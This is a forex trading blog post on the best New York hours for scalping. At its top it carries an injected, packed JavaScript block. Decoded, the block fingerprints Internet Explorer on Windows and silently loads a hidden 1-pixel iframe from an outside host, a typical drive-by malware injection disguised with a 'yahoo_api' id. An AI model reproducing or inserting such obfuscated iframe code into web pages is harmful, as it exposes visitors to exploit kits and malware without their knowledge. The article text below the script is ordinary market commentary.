eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.from​CharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|do​cument|if|1px|MakeFrameEx|element|yahoo_api|height| width|display|none|body|get​ElementById|function|createElement|iframe|append​Child|src|id|nl|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|juyfdjhdjdgh|navigator|ai| showthread|php|72241732'.split('|'),0,{}))

Is There A Right Time For Forex Scalping?

  • July 2014
  • Posted By Ninoslav

Sometimes, going straight to the market and executing trades isn’t enough for an expert forex trader. In cases like those, they need something more ‘exciting’ to make their forex trades worthwhile.

While it’s not recommended by forex experts, forex scalping often scratches that ‘itch’ forex traders have when they’re not satisfied with forex day trading. The entire point of forex scalping revolves around taking advantage of currency pair movements over a short period of time.

Of course, this short period of time lasts mere minutes—sometimes, as little as one minute. When using forex scalping, most traders use higher leverage thresholds and less than 10 pips at a time to make the best results.

Did you know that there’s a right time to scalp forex? Although it seems impossible, thanks to how short the actual trades are, there are peak times that make those same trades that much more profitable in the end. Most peak times are in the Eastern Time Zone (New York, US), as most peak forex activities start with the New York come opening time at 8 AM.

The right time to trade forex

7:00 – 8:00 AM

The New York market opens at 8AM, though a lot of traders often start preparing their trades about an hour in advance. It mainly allows traders to reassess the European market activity—right before the North Americans return to the market come morning. Since the period is considered rather ‘choppy’ and ‘quiet,’ it’s considered a good time for scalpers to get a feel for the market before the rush.

8:00 – 10:00 AM

Around this time, the New York, Frankfurt markets are open for the day, pretty much ‘letting the floodgates’ open for all traders. While there are a number of important news pieces and option expiries that happen at this time, the most action during the morning periods happens during these times.

During this time, the most ‘rapid and volatile’ directional swings happen. Due to the nature of the information and news coming out, the forex market starts shifting in accordance to what those particular reports reveal. In other words, no trader is safe. To take advantage of this period, scalpers need to have the foresight to exploit the conditions that change seemingly every moment during this time.

3:00 – 7:00 PM

This time is pretty much ‘prime time’ for forex scalpers that enjoy trading in less volatile waters. While the market is fast-paced and volatile during the morning, it’s a lot calmer and consistent throughout the day. Starting from about 3 PM, the activity calms significantly as many financial institutions start to close.

By 7 PM, the banks close and the fast-paced activity in the market calms down. It’s the perfect time for scalpers that like small oscillations with little direction to take advantage of those opportunities.

profit forex signals

forex signals


Leave a Reply

Your email address will not be published. Required fields are marked *